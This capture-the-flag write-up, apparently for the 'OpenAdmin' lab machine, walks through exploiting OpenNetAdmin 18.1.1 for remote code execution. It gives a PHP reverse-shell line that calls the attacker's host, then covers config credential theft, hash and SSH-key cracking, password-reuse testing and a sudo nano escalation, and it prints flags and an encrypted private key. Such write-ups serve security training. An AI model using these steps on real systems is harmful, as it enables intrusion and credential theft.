MACHINE - OPEN ADMIN

OPEN PORTS

```
$ nmap -sVC -T4 -Pn ${IP}

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

INVESTIGATING THE SITE

- It opens the default Apache 2 Web page when first started
- There are no login forms or nothing else
- We can only enumerate web folders using gobuster

```
$ gobuster dir -u http://{IP}/ -w /usr/share/wordlists/dirb/common.txt

/.htpasswd            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/artwork              (Status: 301) [Size: 314]
/index.html           (Status: 200) [Size: 10918]
/music                (Status: 301) [Size: 312]
/server-status        (Status: 403) [Size: 277]
```

- As we can see there are two folders `artwork` and `music`
- Incredibly they can be opened
- Wappalyzer shows nothing special
- Before analyzing each site, let's enumerate folders

```
$ gobuster dir -u http://{IP}/artwork/ -w /usr/share/wordlists/dirb/common.txt

/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 318]
/fonts                (Status: 301) [Size: 320]
/images               (Status: 301) [Size: 321]
```

```
/index.html           (Status: 200) [Size: 14461]
/js                   (Status: 301) [Size: 317]
```

- Notice that `http://{IP}/artwork/images` can be accessed and list a number of JPGs
- Maybe we can upload some malicious image or PHP script.
- However, diving into the site didn't provide no attack vector
- In practice we cannot do anything
- Let's enumerate the other site

```
$ gobuster dir -u http://{IP}/music/ -w /usr/share/wordlists/dirb/common.txt
```

```
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 316]
/img                  (Status: 301) [Size: 316]
/index.html           (Status: 200) [Size: 12554]
/js                   (Status: 301) [Size: 315]
```

- Nothing special . . . Let's dive into the page and see if we can get something
- Clicking on Login we are redirected to `http://{IP}/ona/`
- The title of the page is *OpenNetAdmin*

GETTING A REVERSE SHELL

> **OpenNetAdmin** provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors. A full CLI interface is available as well to use for scripting and bulk work. We hope to provide a useful Network Management application for managing your IP subnets, hosts and much more.

- We can also see that our OpenNetAdmin is version *v18.1.1*
- We can search for CVEs or exploit
- We can easily find the CVE CVE-2019-25065

> A vulnerability was found in OpenNetAdmin 18.1.1. It has been rated as critical. Affected by this issue is some unknown functionality. The manipulation leads to privilege escalation. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

- Moreover we can also find a OpenNetAdmin 18.1.1 - Remote Code Execution Exploit
- Let's save the shell exploit in a file named `ona-exploit.sh`
- Then setup a netcat listener

- Finally, run

```
$ chmod +x ona-exploit.sh
$ ./ona-exploit.sh http://{IP}/ona/
> ls
config
config_dnld.php
dcm.php
images
include
index.php
local
login.php
logout.php
modules
plugins
winc
```

- Now that we can run command, we can upload a simple php rev-shell script

```
<?php system("/bin/bash -c 'exec bash -i &>/dev/tcp/{MyIP}/{port} <&1'"); ?>
```

- On the local host setup a simple HTTP server (on the same folder of the PHP script)

```
$ python -m http.server
```

- Then on the remote command execution, run the following command

```
> wget http://{MyIP}:8000/script.php
> mv script.php ./images/
```

- Now, return to the browser, search for `http://{IP}/ona/images/script.php`
- Now the reverse shell is active on the netcat listener

PRIVILEGE ESCALATION

- Once inside we are in the `/opt/ona/www/` folder
- Notice that it is symlink to the `/var/www/html/ona` folder
- There is a `local/config` folder containing some interesting configurations
- In particular DB credentials

```
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
```

- We can easily notice that a MySQL service is up and running on port 3306

```
$ ss -tlnp

...
LISTEN   0  80  127.0.0.1:3306 0.0.0.0:*
...
```

- We can try to access to the MySQL database

```
$ mysql -u ona_sys -p
Password: n1nj4W4rri0R!

mysql> use ona_default;
mysql> show tables

...
users
...

mysql> SELECT * FROM users;
+----+----------+----------------------------------+ ...
| id | username | password                         | ...
+----+----------+----------------------------------+ ...
|  1 | guest    | 098f6bcd4621d373cade4e832627b4f6 | ...
|  2 | admin    | 21232f297a57a5a743894a0e4a801fc3 | ...
+----+----------+----------------------------------+ ...
```

- Using hashcat to decrypt both password we find

1. `admin:admin`
2. `guest:test`

- Other useful informations can be found on the `/etc/passwd` file
- At this point we know a number of thins

1. There are these users: `jimmy` and `joanna`
2. We have MySQL credentials `ona_sys:n1nj4W4rri0R!`
3. We have two ONA credentials `admin:admin` and `guest:test`

- One thing that we can do is to test for password reuse
- For example we could try the following combinations

```
jimmy:admin
jimmy:test
jimmy:n1nj4W4rri0R!
joanna:admin
joanna:test
joanna:n1nj4W4rri0R!
```

- We can test these combinations either using a tool, like `hydra` or by hand

- At the end we found that `jimmy:n1nj4W4rri0R!` is the correct combination
- Now we can login using SSH and leave the reverse shell
- Once we are logged using SSH we can see what to do
- First ... there is no flag for this user, this means that the owner is `joanna`
- Second ... jimmy is not in the sudoers group, this means that it cannot run sudo commands
- Hence we need to search in somewhere else
- If we try to see the content of `etc/group` we see an interesting group

```
jimmy@openadmin:~# cat /etc/group
...
internal:x:1002:jimmy,joanna
...
```

- Both jimmy and joanna belongs to this group ... This is not a coincidence of course.
- Moreover, there is also an interesting entry in `ss -tlnp` command output

```
jimmy@openadmin:~# ss -tlnp
...
LISTEN 0 128 127.0.0.1:52846 0.0.0.0:*
...
```

- What is this port used for?
- Doing a little bit of research we see `/etc/apache2/sites-available/internal.conf`

```
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>
```

- Then digging into `/var/www/internal` we see three PHP files

1. `index.php`
2. `main.php`
3. `logout.php`

- Opening the first file, it is easy to see that it is a login form
- Moreover, it also contains and hard-coded SHA512 Hash.
- For now, let's save this hash into a file named `jimmy.hash`

- Opening `main.php` we can see that

1. Check if the login was successful
2. If it was, then will print `/home/joanna/.ssh/id_rsa`

- At this point, we would like to do two things

1. Crack the hash
2. Open the site on our web browser

- To crack the password we can easily use `john`

```
$ john jimmy.hash --format=Raw-SHA512 -w=/usr/share/wordlists/rockyou.txt --rules=Jumbo

...
Revealed         (?)
1g 0:00:00:03 DONE (2024-05-01 01:22) 0.3003g/s 4641Kp/s 4641Kc/s ...
...
```

- To make the site available on a local browser we can use *Local Port Forwarding*

```
$ ssh -L 1234:localhost:52846 jimmy@{IP} -N -f
Password: n1nj4W4rri0R!

$ ss -tlnp
...
LISTEN 0 128 127.0.0.1:1234 0.0.0.0:* users:(("ssh",pid=355023,fd=5))
...
```

- Opening the browser on `localhost:1234` we login using `jimmy:Revealed`
- And the SSH private key of joanna show up

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlOOByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+Olv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUBOsQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
```

```
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6NOPqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
zOglMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqaOt7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
```

- Now we can use SSH to login as `joanna`, however it requires a passphrase
- Let's use john again to crack it

```
$ ssh2john joanna_id_rsa > joanna.hash
$ john joanna.hash -w=/usr/share/wordlists/rockyou.txt
...
bloodninjas      (joanna_id_rsa)
...
```

- Now we can use SSH to login as joanna

```
$ ssh joanna@{IP} -i joanna_id_rsa
Enter Passphrase: bloodninjas

joanna@openadmin:~$ cat user.txt
ebdc34f11f2cb725b7808ce895931056

joanna@openadmin:~$ sudo -l
...
User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

joanna@openadmin:~$ sudo /bin/nano /opt/priv
```

- Inside the nano editor press `SHIFT+R` and enter `/root/root.txt`

FLAGS

USER: ebdc34f11f2cb725b7808ce895931056

ROOT: b69ec7ebf447a7ba28b1313d2ff3640e